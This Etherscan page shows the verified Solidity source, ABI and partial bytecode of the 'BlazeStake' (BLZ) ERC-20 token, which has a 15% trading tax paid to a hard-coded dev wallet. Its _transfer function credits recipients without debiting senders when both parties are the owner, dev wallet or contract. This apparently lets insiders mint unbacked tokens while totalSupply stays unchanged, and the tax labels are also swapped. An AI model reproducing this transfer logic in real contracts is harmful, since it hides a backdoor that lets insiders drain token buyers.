ETH Price: $2,638.08 (-0.75%)

Token

BlazeStake (BLZ)
 

Overview

Max Total Supply

100,000,000 BLZ

Holders

129

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.123110389158173643 BLZ

Value
$0.00
0xb6726e72afd468579e1e79564cc1939df9a93578
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BLZSTAKE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-24
*/

// SPDX-License-Identifier: MIT

/**
Wegbsite: https://www.blazestake.xyz
Dapp:     https://app.blazestake.xyz
Docs:     https://docs.blazestake.xyz

Twitter:  https://twitter.com/blazeStakeEth
Telegram: https://t.me/blazeStakeEth
*/

pragma solidity ^0.8.11;

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(
            _owner,
            address(0x000000000000000000000000000000000000dEaD)
        );
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint);

    function balanceOf(address owner) external view returns (uint);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);

    function transfer(address to, uint value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint);

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Burn(
        address indexed sender,
        uint amount0,
        uint amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint);

    function price1CumulativeLast() external view returns (uint);

    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);

    function swap(
        uint amount0Out,
        uint amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);

    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);

    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract BLZSTAKE is Context, IERC20, Ownable {
    using SafeMath for uint256;

    address payable public devWallet =
        payable(0x95df3655BE95290Bb3ED64402d0E94556F867F71);

    address public immutable deadAddress =
        0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress =
        0x0000000000000000000000000000000000000000;

    string private _name = unicode"BlazeStake";
    string private _symbol = unicode"BLZ";
    uint8 private _decimals = 18;

    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isExcludedFromFees;
    mapping(address => bool) public automatedMarketMakerPair;

    mapping(address => bool) public isWalletLimitExempt;
    mapping(address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 100_000_000 * 10 ** _decimals;

    uint256 public minTokensForSwap = _totalSupply.mul(1).div(100000);

    uint256 public _walletMax = _totalSupply.mul(20).div(1000); //2%
    uint256 public _maxTxAmount = _totalSupply.mul(20).div(1000); //2%
    
    uint256 private _maxTxSwap = _totalSupply.mul(2).div(1000);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = false;
    bool public swapBackByLimitOnly = false;
    bool public tradingOpen = false;

    bool public checkWalletLimit = true;

    uint256 public _buyLiquidityFees = 0;
    uint256 public _buyMarketingFees = 15;

    uint256 public _sellLiquidityFees = 0;
    uint256 public _sellMarketingFees = 15;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(uint256 amountIn, address[] path);

    event SwapTokensForETH(uint256 amountIn, address[] path);

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {

        isExcludedFromFees[owner()] = true;
        isExcludedFromFees[devWallet] = true;
        isExcludedFromFees[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[devWallet] = true;
        isWalletLimitExempt[address(this)] = true;

        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[devWallet] = true;
        isTxLimitExempt[address(this)] = true;

        _totalTaxIfBuying = _buyLiquidityFees.add(_buyMarketingFees);
        _totalTaxIfSelling = _sellLiquidityFees.add(_sellMarketingFees);

        _balances[_msgSender()] = _totalSupply;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return
            _totalSupply.sub(balanceOf(deadAddress)).sub(
                balanceOf(zeroAddress)
            );
    }

    function transferToAddressETH(
        address payable recipient,
        uint256 amount
    ) private {
        recipient.transfer(amount);
    }

    //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function addLiquidity() external payable onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );

        automatedMarketMakerPair[address(uniswapV2Pair)] = true;
        isWalletLimitExempt[address(uniswapV2Pair)] = true;

        _approve(address(this), address(uniswapV2Router), ~uint256(0));

        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        tradingOpen = true;
        swapAndLiquifyEnabled = true;
    }

    function removeLimits() external onlyOwner {
        _buyLiquidityFees = 0;
        _buyMarketingFees = 2;

        _sellLiquidityFees = 0;
        _sellMarketingFees = 2;

        _totalTaxIfBuying = _buyLiquidityFees.add(_buyMarketingFees);
        _totalTaxIfSelling = _sellLiquidityFees.add(_sellMarketingFees);

        _walletMax = type(uint).max;
        _maxTxAmount = type(uint).max;

        checkWalletLimit = false;
    }

    function swapBack(uint256 tAmount) private lockTheSwap {
        uint256 contractTokenBalance = balanceOf(address(this));

        uint256 amountToSwap = min(tAmount, min(contractTokenBalance, _maxTxSwap));

        swapTokensForEth(amountToSwap);

        uint256 recievedBalance = address(this).balance;
        if (recievedBalance > 0) {
            payable(devWallet).transfer(recievedBalance);
        }
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[1] = uniswapV2Router.WETH();
        path[0] = address(this);

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "ERC20: transfer amount must greater than zero");

        require(
            tradingOpen ||
                isExcludedFromFees[sender] ||
                isExcludedFromFees[recipient],
            "Not Enabled"
        );

        if (inSwapAndLiquify || !swapAndLiquifyEnabled) {
            return _basicTransfer(sender, recipient, amount);
        } else {
            if (!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(
                    amount <= _maxTxAmount,
                    "Transfer amount exceeds the maxTxAmount."
                );
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >=
                minTokensForSwap && amount >= minTokensForSwap;

            if (
                overMinimumTokenBalance &&
                !inSwapAndLiquify &&
                automatedMarketMakerPair[recipient] &&
                swapAndLiquifyEnabled &&
                !isExcludedFromFees[sender] &&
                !isExcludedFromFees[recipient]
            ) {
                if (swapBackByLimitOnly)
                    contractTokenBalance = minTokensForSwap;
                swapBack(amount);
            }

            if (checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(
                    balanceOf(recipient).add(
                        amount.mul(_totalTaxIfSelling).div(100)
                    ) <= _walletMax,
                    "Amount Exceed From Max Wallet Limit!!"
                );
            }

            uint256 fAmount = amount;
            uint256 tAmount = 0;

            if (
                (!isTxLimitExempt[sender] || !isTxLimitExempt[recipient]) ||
                (automatedMarketMakerPair[recipient] || automatedMarketMakerPair[sender])
            ) {
                uint256 taxAmount = 0;
                //sell
                if (automatedMarketMakerPair[recipient]) {
                    taxAmount = amount.mul(_totalTaxIfBuying).div(100);
                } else if (automatedMarketMakerPair[sender]) {
                    taxAmount = amount.mul(_totalTaxIfSelling).div(100);
                }

                if (taxAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(
                        taxAmount
                    );
                    emit Transfer(sender, address(this), taxAmount);
                }
                tAmount = fAmount;
                fAmount = fAmount.sub(taxAmount);
            }

            _balances[sender] = _balances[sender].sub(tAmount);
            _balances[recipient] = _balances[recipient].add(fAmount);
            emit Transfer(sender, recipient, fAmount);
            return true;
        }
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyLiquidityFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minTokensForSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapBackByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600180546001600160a01b0319167395df3655be95290bb3ed64402d0e94556f867f7117905561dead608052600060a052610100604052600a60c090815269426c617a655374616b6560b01b60e0526002906200005d90826200058c565b506040805180820190915260038082526221262d60e91b6020830152906200008690826200058c565b506004805460ff19166012908117909155620000a490600a6200076b565b620000b4906305f5e1006200077c565b600b819055620000d790620186a090620000d090600162000367565b90620003fe565b600c55600b54620000f3906103e890620000d090601462000367565b600d55600b546200010f906103e890620000d090601462000367565b600e55600b546200012b906103e890620000d090600262000367565b600f9081556011805463ffffffff60a81b1916600160c01b1790556000601281905560138290556014556015553480156200016557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160076000620001c06000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560018054909216815260079093528183208054851682179055308352908220805490931681179092556009906200022d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556001805490921681526009909352818320805485168217905530835290822080549093168117909255600a906200029a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600180549092168152600a909352818320805485168217905530835291208054909216179055601354601254620002ff9162000448565b601655601554601454620003139162000448565b601755600b5433600081815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200081f565b6000826000036200037b57506000620003f8565b60006200038983856200077c565b90508262000398858362000796565b14620003f55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620003f583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620004ab60201b60201c565b600080620004578385620007b9565b905083811015620003f55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620003ec565b60008183620004cf5760405162461bcd60e51b8152600401620003ec9190620007cf565b506000620004de848662000796565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200051257607f821691505b6020821081036200053357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200058757600081815260208120601f850160051c81016020861015620005625750805b601f850160051c820191505b8181101562000583578281556001016200056e565b5050505b505050565b81516001600160401b03811115620005a857620005a8620004e7565b620005c081620005b98454620004fd565b8462000539565b602080601f831160018114620005f85760008415620005df5750858301515b600019600386901b1c1916600185901b17855562000583565b600085815260208120601f198616915b82811015620006295788860151825594840194600190910190840162000608565b5085821015620006485787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006af57816000190482111562000693576200069362000658565b80851615620006a157918102915b93841c939080029062000673565b509250929050565b600082620006c857506001620003f8565b81620006d757506000620003f8565b8160018114620006f05760028114620006fb576200071b565b6001915050620003f8565b60ff8411156200070f576200070f62000658565b50506001821b620003f8565b5060208310610133831016604e8410600b841016171562000740575081810a620003f8565b6200074c83836200066e565b806000190482111562000763576200076362000658565b029392505050565b6000620003f560ff841683620006b7565b8082028115828204841417620003f857620003f862000658565b600082620007b457634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620003f857620003f862000658565b600060208083528351808285015260005b81811015620007fe57858101830151858201604001528201620007e0565b506000604082860101526040601f19601f8301168501019250505092915050565b60805160a051611ee76200085360003960008181610288015261088601526000818161036301526108b20152611ee76000f3fe60806040526004361061023f5760003560e01c8063807c2d9c1161012e578063a9059cbb116100ab578063e8078d941161006f578063e8078d94146106e8578063f0cd1dac146106f0578063f2fde38b14610706578063f872858a14610726578063ffb54a991461074757600080fd5b8063a9059cbb1461061b578063b6c3af341461063b578063c867d60b14610651578063d115936014610681578063dd62ed3e146106a257600080fd5b80638ea5220f116100f25780638ea5220f146105805780638f3d6e04146105a057806390aa2ea6146105b657806395d89b41146105e6578063a457c2d7146105fb57600080fd5b8063807c2d9c146104f157806382eefb43146105075780638a8c523c1461051d5780638b42507f146105325780638da5cb5b1461056257600080fd5b8063313ce567116101bc578063661b6e3611610180578063661b6e361461047957806370a082311461048f578063715018a6146104af578063751039fc146104c65780637d1db4a5146104db57600080fd5b8063313ce567146103c657806339509351146103e857806349bd5a5e146104085780634a74bb02146104285780634fbee1931461044957600080fd5b806323b872dd1161020357806323b872dd1461033157806327c8